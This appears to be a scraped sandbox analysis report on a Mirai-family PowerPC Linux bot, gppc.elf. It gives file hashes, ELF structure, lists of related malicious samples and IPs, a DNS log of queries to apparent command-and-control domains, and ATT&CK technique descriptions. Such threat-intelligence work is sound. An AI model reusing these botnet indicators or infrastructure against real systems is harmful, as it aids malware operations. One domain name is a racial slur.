156.179.81.166	unknown	Egypt	36992	ETISALAT-MISREG	false
156.111.212.180	unknown	United States	395139	NYP-INTERNETUS	false
197.2.168.191	unknown	Tunisia	37705	TOPNETTN	false
156.114.21.55	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
156.182.145.22	unknown	Egypt	36992	ETISALAT-MISREG	false
156.20.120.31	unknown	United States	29975	VODACOM-ZA	false
197.177.39.250	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.23.86.74	unknown	South Africa	29975	VODACOM-ZA	false
156.199.251.103	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.53.167.42	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.82.47.228	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
41.60.37.56	unknown	Mauritius	30969	ZOL-ASGB	false
156.58.152.239	unknown	Austria	199083	MP-ASAT	false
197.59.229.20	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.221.211.157	unknown	South Africa	3491	BTN-ASNUS	false
41.216.159.8	unknown	Burkina Faso	37073	IPP-burkina-asBF	false
41.102.136.60	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.221.56.219	unknown	South Africa	37153	xneeloZA	false
156.104.246.86	unknown	United States	393504	XNSTGCA	false
156.165.149.223	unknown	Egypt	36992	ETISALAT-MISREG	false
41.86.58.199	unknown	Seychelles	36958	CWSeychelles-ASSC	false
197.106.106.122	unknown	South Africa	37168	CELL-CZA	false
156.5.232.97	unknown	United States	29975	VODACOM-ZA	false
41.113.157.207	unknown	South Africa	16637	MTNNS-ASZA	false
197.63.237.180	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.33.61.65	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.1.178.230	unknown	Tunisia	37705	TOPNETTN	false
197.47.0.177	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.80.19.37	unknown	United States	393649	BOOZ-AS2US	false
156.154.216.58	unknown	United States	19905	NEUSTAR-AS6US	false
197.204.101.12	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.65.82.67	unknown	South Africa	16637	MTNNS-ASZA	false
197.65.82.68	unknown	South Africa	16637	MTNNS-ASZA	false
197.205.16.115	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.53.167.58	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.195.100.243	unknown	Egypt	36992	ETISALAT-MISREG	false
41.41.152.214	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.220.141.78	unknown	Lesotho	33567	TELECOM-LESOTHOLS	false
197.167.97.224	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.224.41.198	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.217.127.154	unknown	Nigeria	37340	SpectranetNG	false
156.94.45.219	unknown	United States	10695	WAL-MARTUS	true
156.76.113.253	unknown	United States	6341	WIECUS	false
156.59.17.13	unknown	New Zealand	199083	MP-ASAT	false
156.133.239.141	unknown	Luxembourg	29975	VODACOM-ZA	false
41.175.162.172	unknown	South Africa	30844	LIQUID-ASGB	false
41.57.121.221	unknown	Nigeria	37472	NIGCOMSATNG	false
197.108.43.17	unknown	South Africa	37168	CELL-CZA	false
197.3.15.233	unknown	Tunisia	37705	TOPNETTN	false
156.158.248.182	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.243.99.85	unknown	Rwanda	37228	Olleh-Rwanda-NetworksRW	false
156.206.5.19	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.134.159.163	unknown	South Africa	10474	OPTINETZA	false
156.222.129.51	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.127.73.164	unknown	South Africa	16637	MTNNS-ASZA	false
197.90.49.51	unknown	South Africa	10474	OPTINETZA	false
156.230.19.143	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
197.172.142.245	unknown	South Africa	37168	CELL-CZA	false
156.223.144.223	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.232.116.167	unknown	Kenya	36866	JTLKE	false
197.62.194.78	unknown	Egypt	8452	TE-ASTE-ASEG	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.172.142.228	mml2K1xTTr.elf	Get hash	malicious	Unknown	Browse
	ncJmBOetwD	Get hash	malicious	Mirai	Browse
	5KjI4qnLTi	Get hash	malicious	Mirai	Browse
	3CtLc4TUlI	Get hash	malicious	Mirai	Browse
156.97.1.243	LmnRR0OLZi	Get hash	malicious	Mirai	Browse
197.159.177.38	8OIYFyweBW.elf	Get hash	malicious	Mirai, Moobot	Browse
197.159.177.38	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse
41.182.10.38	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse
	telx86-20231224-0150.elf	Get hash	malicious	Mirai	Browse
	PfpPc9MV3f.elf	Get hash	malicious	Mirai	Browse
	m1KDYUw1Tj.elf	Get hash	malicious	Mirai	Browse
	4ue5y5Vx04.elf	Get hash	malicious	Unknown	Browse
	cD82G9qW65.elf	Get hash	malicious	Mirai, Moobot	Browse
	VSyuW3Q70G	Get hash	malicious	Mirai	Browse
	pVUSR5m1y3	Get hash	malicious	Mirai	Browse
156.249.107.11	CxshSjQuo4.elf	Get hash	malicious	Mirai	Browse
197.144.26.161	i5EX5Mt9vw.elf	Get hash	malicious	Unknown	Browse
	RQsecy8d0u.elf	Get hash	malicious	Mirai, Moobot	Browse
	6aDLtqN1dM.elf	Get hash	malicious	Mirai	Browse
	bok.arm4-20230304-0316.elf	Get hash	malicious	Mirai	Browse
	ak.x86-20220924-0648.elf	Get hash	malicious	Mirai	Browse
197.216.246.230	Zm59VjEi93.elf	Get hash	malicious	Mirai	Browse
156.0.172.153	Q1wqSdPNt8.elf	Get hash	malicious	Unknown	Browse
156.0.172.153	Qso1ebxdjY	Get hash	malicious	Mirai	Browse
197.173.155.1	XQzNZAeqtW.elf	Get hash	malicious	Mirai	Browse
197.173.155.1	ZwRK4AtIl9	Get hash	malicious	Gafgyt Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
magicalmalware.pirate	nsharm.elf	Get hash	malicious	Mirai	Browse	139.59.59.19
	garm5.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm7.elf	Get hash	malicious	Mirai	Browse	138.68.66.39
	nshsh4.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	nrsh4.elf	Get hash	malicious	Mirai	Browse	178.128.99.13
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	nsharm5.elf	Get hash	malicious	Mirai	Browse	138.197.155.229
	gmips.elf	Get hash	malicious	Mirai	Browse	165.22.62.189
	nsharm7.elf	Get hash	malicious	Mirai	Browse	139.59.247.93
	garm.elf	Get hash	malicious	Mirai	Browse	138.68.66.39

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
XNSTGCA	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	156.127.228.138
	nsharm.elf	Get hash	malicious	Mirai	Browse	156.100.32.226
	garm5.elf	Get hash	malicious	Mirai	Browse	156.124.58.144
	garm7.elf	Get hash	malicious	Mirai	Browse	156.123.110.234
	nshsh4.elf	Get hash	malicious	Mirai	Browse	156.96.173.188
	nrsh4.elf	Get hash	malicious	Mirai	Browse	156.100.32.234
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	156.124.58.109
	nsharm5.elf	Get hash	malicious	Mirai	Browse	156.127.187.86
	gmips.elf	Get hash	malicious	Mirai	Browse	156.97.30.192
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.124.100.116
CST-NET-ASST	nshmpsl.elf	Get hash	malicious	Mirai	Browse	197.159.177.86
	nsharm7.elf	Get hash	malicious	Mirai	Browse	197.159.177.10
	arm4.elf	Get hash	malicious	Mirai	Browse	197.159.177.12
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	197.159.189.50
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	197.159.189.65
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	197.159.177.48
	154.216.17.9-skid.arm5-2024-08-04T06_23_00.elf	Get hash	malicious	Mirai, Moobot	Browse	197.159.177.46
	77.90.35.9-skid.sh4-2024-07-30T07_10_53.elf	Get hash	malicious	Mirai, Moobot	Browse	197.159.177.74
	Ares.x86.elf	Get hash	malicious	Unknown	Browse	197.159.177.17
	205.185.120.123-skid.ppc-2024-07-27T10_33_45.elf	Get hash	malicious	Mirai, Moobot	Browse	197.159.177.12
CELL-CZA	nsharm.elf	Get hash	malicious	Mirai	Browse	41.49.106.203
	garm5.elf	Get hash	malicious	Mirai	Browse	41.157.30.36
	garm7.elf	Get hash	malicious	Mirai	Browse	197.171.105.23
	nshsh4.elf	Get hash	malicious	Mirai	Browse	197.109.109.88
	nrsh4.elf	Get hash	malicious	Mirai	Browse	41.157.30.51
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	41.52.104.4
	nsharm5.elf	Get hash	malicious	Mirai	Browse	41.54.12.211
	nsharm7.elf	Get hash	malicious	Mirai	Browse	197.109.109.70
	garm.elf	Get hash	malicious	Mirai	Browse	197.169.124.216
	nshmips.elf	Get hash	malicious	Mirai	Browse	41.51.170.73
ITACE-AS-APItaceInternationalLimitedHK	garm5.elf	Get hash	malicious	Mirai	Browse	156.237.86.245
	nshsh4.elf	Get hash	malicious	Mirai	Browse	156.235.45.157
	nshmpsl.elf	Get hash	malicious	Mirai	Browse	156.230.199.5
	nsharm5.elf	Get hash	malicious	Mirai	Browse	156.230.199.3
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.235.45.184
	garm.elf	Get hash	malicious	Mirai	Browse	156.237.86.229
	garm7.elf	Get hash	malicious	Mirai	Browse	156.235.45.163
	mpsl.elf	Get hash	malicious	Unknown	Browse	154.91.253.47
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	154.194.221.11
	#U8d77#U8bc9#U6750#U6599#U548c#U501f#U6b3e#U8bc1#U636e.docx.exe	Get hash	malicious	HackBrowser	Browse	43.248.8.109

Process:	/tmp/gppc.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.3248629576173565
Encrypted:	false
SSDEEP:	3:TgW73:TgWD
MD5:	4E7E23A056448A7BD5310308A65AEA84
SHA1:	276A4E615452CCA59DECC379B956D86B9C577DE6
SHA-256:	0414E4E6304A894D604B50FCF52D4141706592BA0722E4332C0E3DAF22AD0409
SHA-512:	AD8F560830A0BFFC8B108725B4EFA5120EA38BE1D2DB0AD05EDA580791B59FE4D300BF65A1F9BA921DBC572AFCA88719A35D3AF5E90DD7B9C538C5D7494305B3
Malicious:	false
Reputation:	low
Preview:	/tmp/gppc.elf.

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.199287860986554
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	gppc.elf
File size:	62'908 bytes
MD5:	034edb3c8839f9176561fcb300b7c0e4
SHA1:	fa5a2185a446d9f875ccbd4f80951e6905e0cfa9
SHA256:	3ad6e9523ca814d44824eed16a46c4c6484bc33c1b35b7caa7c86a6d8522a2ed
SHA512:	d43ad9a1411b9a64d06e72208f8fe5ced296b6ec61cf50c98d44b8f9a6462b941cb954ce7f24b3d9aa7246e2905798877fb8c674fb6c601340bd79b1273dfd2d
SSDEEP:	1536:W2LCj/Gg1CjE32Yu7h1me8JEIgdaU7CdspvY:W1/91Y5Plc/EIgB7qsJY
TLSH:	36535C42B30C0947D1A35EB03A3F27D093BEFA9021E4F684755EAB4A91B1E361586FDD
File Content Preview:	.ELF...........................4.........4. ...(.......................P...P..............................%.........dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?........+../...A..$8...})......N..

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report gppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.085Mhq (deleted)

/tmp/qemu-open.0PPFwq (deleted)

/tmp/qemu-open.0XHBlr (deleted)

/tmp/qemu-open.0Z1fqt (deleted)

/tmp/qemu-open.0cFvwr (deleted)

/tmp/qemu-open.0ckHct (deleted)

/tmp/qemu-open.0jdf7r (deleted)

/tmp/qemu-open.0mRi1t (deleted)

/tmp/qemu-open.0pl5Zt (deleted)

/tmp/qemu-open.0qjj0s (deleted)

/tmp/qemu-open.0sRDGs (deleted)

/tmp/qemu-open.0vpJns (deleted)

/tmp/qemu-open.0yiT6q (deleted)

/tmp/qemu-open.11g2au (deleted)

/tmp/qemu-open.12Obgq (deleted)

/tmp/qemu-open.1Eyvjr (deleted)

/tmp/qemu-open.1JPkkt (deleted)

/tmp/qemu-open.1PB20t (deleted)

/tmp/qemu-open.1QKfXq (deleted)

/tmp/qemu-open.1QbfQs (deleted)

/tmp/qemu-open.1UQnmq (deleted)

/tmp/qemu-open.1Vi6ft (deleted)

/tmp/qemu-open.1WV0qs (deleted)

/tmp/qemu-open.1hHO0r (deleted)

/tmp/qemu-open.1j0OTr (deleted)

/tmp/qemu-open.1kJaat (deleted)

Linux Analysis Report
gppc.elf

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62428
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xd024	0x0	0x6	AX	4
.fini	PROGBITS	0x1000d0dc	0xd0dc	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000d100	0xd100	0x1a50	0x0	0x2	A	8
.ctors	PROGBITS	0x1001f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001f008	0xf008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1001f018	0xf018	0x344	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001f35c	0xf35c	0x34	0x0	0x3	WA	4
.sbss	NOBITS	0x1001f390	0xf390	0x64	0x0	0x3	WA	4
.bss	NOBITS	0x1001f3f4	0xf390	0x2114	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf390	0x4b	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xeb50	0xeb50	6.3283	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xf000	0x1001f000	0x1001f000	0x390	0x2508	2.9700	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 11:37:34.936229944 CEST	192.168.2.23	80.152.203.134	0xbad9	Standard query (0)	therealniggas.parody	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:37:40.000485897 CEST	192.168.2.23	130.61.69.123	0xcc83	Standard query (0)	swimminginboats.geek	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:37:46.494405031 CEST	192.168.2.23	51.158.108.203	0x9fb4	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:37:52.946094990 CEST	192.168.2.23	138.197.140.189	0x82de	Standard query (0)	swimminginboats.geek. [malformed]	256	369	false
Oct 24, 2024 11:37:53.375499964 CEST	192.168.2.23	152.53.15.127	0xe6d5	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	369	false
Oct 24, 2024 11:37:53.387952089 CEST	192.168.2.23	103.1.206.179	0xcc3	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:00.086462021 CEST	192.168.2.23	168.235.111.72	0x306	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:06.926620960 CEST	192.168.2.23	130.61.69.123	0x38ef	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:11.948081017 CEST	192.168.2.23	168.235.111.72	0x1dee	Standard query (0)	therealniggas.parody. [malformed]	256	388	false
Oct 24, 2024 11:38:12.145365953 CEST	192.168.2.23	185.84.81.194	0xde8f	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:18.063117027 CEST	192.168.2.23	103.1.206.179	0x5a7a	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:23.361323118 CEST	192.168.2.23	138.197.140.189	0xff1d	Standard query (0)	therealniggas.parody. [malformed]	256	399	false
Oct 24, 2024 11:38:23.464323997 CEST	192.168.2.23	202.61.197.122	0xe2f7	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	399	false
Oct 24, 2024 11:38:23.476708889 CEST	192.168.2.23	80.152.203.134	0x7e6a	Standard query (0)	swimminginboats.geek. [malformed]	256	399	false
Oct 24, 2024 11:38:23.521318913 CEST	192.168.2.23	173.208.212.205	0x340c	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:33.666810989 CEST	192.168.2.23	217.160.70.42	0xa7	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:39.651590109 CEST	192.168.2.23	103.1.206.179	0x7377	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:45.846677065 CEST	192.168.2.23	80.152.203.134	0x82e1	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	421	false
Oct 24, 2024 11:38:45.915618896 CEST	192.168.2.23	109.91.184.21	0x3ac4	Standard query (0)	therealniggas.parody. [malformed]	256	421	false
Oct 24, 2024 11:38:50.922488928 CEST	192.168.2.23	80.78.132.79	0x5ba	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:38:55.954078913 CEST	192.168.2.23	138.197.140.189	0x87ca	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	432	false
Oct 24, 2024 11:38:56.061288118 CEST	192.168.2.23	185.84.81.194	0xc85c	Standard query (0)	therealniggas.parody. [malformed]	256	432	false
Oct 24, 2024 11:38:56.073810101 CEST	192.168.2.23	51.158.108.203	0xe6f6	Standard query (0)	swimminginboats.geek. [malformed]	256	432	false
Oct 24, 2024 11:38:56.092152119 CEST	192.168.2.23	168.235.111.72	0x8890	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:39:02.606321096 CEST	192.168.2.23	192.71.166.92	0x3b12	Standard query (0)	therealniggas.parody. [malformed]	256	438	false
Oct 24, 2024 11:39:07.610704899 CEST	192.168.2.23	195.10.195.195	0x4912	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	443	false
Oct 24, 2024 11:39:07.620803118 CEST	192.168.2.23	80.78.132.79	0xf150	Standard query (0)	swimminginboats.geek. [malformed]	256	443	false
Oct 24, 2024 11:39:07.642812014 CEST	192.168.2.23	109.91.184.21	0xeda7	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:39:13.588335991 CEST	192.168.2.23	168.235.111.72	0x4d65	Standard query (0)	therealniggas.parody. [malformed]	256	449	false
Oct 24, 2024 11:39:13.682807922 CEST	192.168.2.23	51.158.108.203	0x4c5f	Standard query (0)	swimminginboats.geek. [malformed]	256	449	false
Oct 24, 2024 11:39:13.701461077 CEST	192.168.2.23	109.91.184.21	0xb1a2	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:39:21.096641064 CEST	192.168.2.23	178.254.22.166	0xdf90	Standard query (0)	swimminginboats.geek. [malformed]	256	457	false
Oct 24, 2024 11:39:26.100562096 CEST	192.168.2.23	37.252.191.197	0xcbf	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:39:32.571988106 CEST	192.168.2.23	88.198.92.222	0xc858	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:39:32.584903002 CEST	192.168.2.23	168.235.111.72	0xb311	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	468	false
Oct 24, 2024 11:39:32.680551052 CEST	192.168.2.23	168.235.111.72	0x5f83	Standard query (0)	swimminginboats.geek. [malformed]	256	468	false
Oct 24, 2024 11:39:32.771879911 CEST	192.168.2.23	138.197.140.189	0x12b9	Standard query (0)	therealniggas.parody. [malformed]	256	468	false
Oct 24, 2024 11:39:39.342334986 CEST	192.168.2.23	178.254.22.166	0x31b7	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:39:44.349033117 CEST	192.168.2.23	103.1.206.179	0x7a9d	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	480	false
Oct 24, 2024 11:39:44.631076097 CEST	192.168.2.23	80.78.132.79	0xf750	Standard query (0)	swimminginboats.geek. [malformed]	256	480	false
Oct 24, 2024 11:39:44.648570061 CEST	192.168.2.23	80.152.203.134	0x7049	Standard query (0)	therealniggas.parody. [malformed]	256	480	false
Oct 24, 2024 11:39:51.122834921 CEST	192.168.2.23	103.1.206.179	0xb5cf	Standard query (0)	therealniggas.parody. [malformed]	256	487	false
Oct 24, 2024 11:39:51.401896954 CEST	192.168.2.23	37.252.191.197	0x3bb9	Standard query (0)	swimminginboats.geek. [malformed]	256	487	false
Oct 24, 2024 11:39:51.426676989 CEST	192.168.2.23	94.247.43.254	0x1b00	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:39:57.908202887 CEST	192.168.2.23	94.247.43.254	0xbd36	Standard query (0)	therealniggas.parody. [malformed]	256	493	false
Oct 24, 2024 11:39:57.917376995 CEST	192.168.2.23	80.152.203.134	0x6bd6	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	493	false
Oct 24, 2024 11:39:57.995942116 CEST	192.168.2.23	185.181.61.24	0xeea9	Standard query (0)	swimminginboats.geek. [malformed]	256	494	false
Oct 24, 2024 11:39:58.030616999 CEST	192.168.2.23	195.10.195.195	0x491f	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:40:03.942903042 CEST	192.168.2.23	81.169.136.222	0x4894	Standard query (0)	swimminginboats.geek. [malformed]	256	499	false
Oct 24, 2024 11:40:03.972481012 CEST	192.168.2.23	173.208.212.205	0xc10b	Standard query (0)	therealniggas.parody. [malformed]	256	500	false
Oct 24, 2024 11:40:04.099793911 CEST	192.168.2.23	168.235.111.72	0x1b8	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:40:10.087260962 CEST	192.168.2.23	202.61.197.122	0x7106	Standard query (0)	therealniggas.parody. [malformed]	256	506	false
Oct 24, 2024 11:40:10.099196911 CEST	192.168.2.23	37.252.191.197	0x5c6b	Standard query (0)	swimminginboats.geek. [malformed]	256	506	false
Oct 24, 2024 11:40:10.121542931 CEST	192.168.2.23	173.208.212.205	0x6e16	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:40:15.126497030 CEST	192.168.2.23	94.247.43.254	0xc198	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	511	false
Oct 24, 2024 11:40:22.031375885 CEST	192.168.2.23	88.198.92.222	0xd2bc	Standard query (0)	swimminginboats.geek. [malformed]	256	262	false
Oct 24, 2024 11:40:27.036365986 CEST	192.168.2.23	80.152.203.134	0x707c	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	267	false
Oct 24, 2024 11:40:27.086065054 CEST	192.168.2.23	185.181.61.24	0xf828	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:40:33.024334908 CEST	192.168.2.23	152.53.15.127	0x54d2	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:40:39.468986988 CEST	192.168.2.23	81.169.136.222	0xf9be	Standard query (0)	swimminginboats.geek. [malformed]	256	279	false
Oct 24, 2024 11:40:39.498186111 CEST	192.168.2.23	51.158.108.203	0xdc53	Standard query (0)	therealniggas.parody. [malformed]	256	279	false
Oct 24, 2024 11:40:39.515666962 CEST	192.168.2.23	88.198.92.222	0xbdc7	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	280	false
Oct 24, 2024 11:40:44.518115997 CEST	192.168.2.23	37.252.191.197	0x8669	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:40:50.471739054 CEST	192.168.2.23	138.197.140.189	0x71ff	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:40:56.490487099 CEST	192.168.2.23	51.158.108.203	0x625a	Standard query (0)	therealniggas.parody. [malformed]	256	296	false
Oct 24, 2024 11:40:56.508151054 CEST	192.168.2.23	94.247.43.254	0xc0de	Standard query (0)	swimminginboats.geek. [malformed]	256	296	false
Oct 24, 2024 11:40:56.517622948 CEST	192.168.2.23	178.254.22.166	0x9343	Standard query (0)	magicalmalware.pirate	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:41:01.519372940 CEST	192.168.2.23	192.71.166.92	0x6417	Standard query (0)	howyoudoinbby.dyn. [malformed]	256	301	false

Start time (UTC):	09:37:33
Start date (UTC):	24/10/2024
Path:	/tmp/gppc.elf
Arguments:	/tmp/gppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre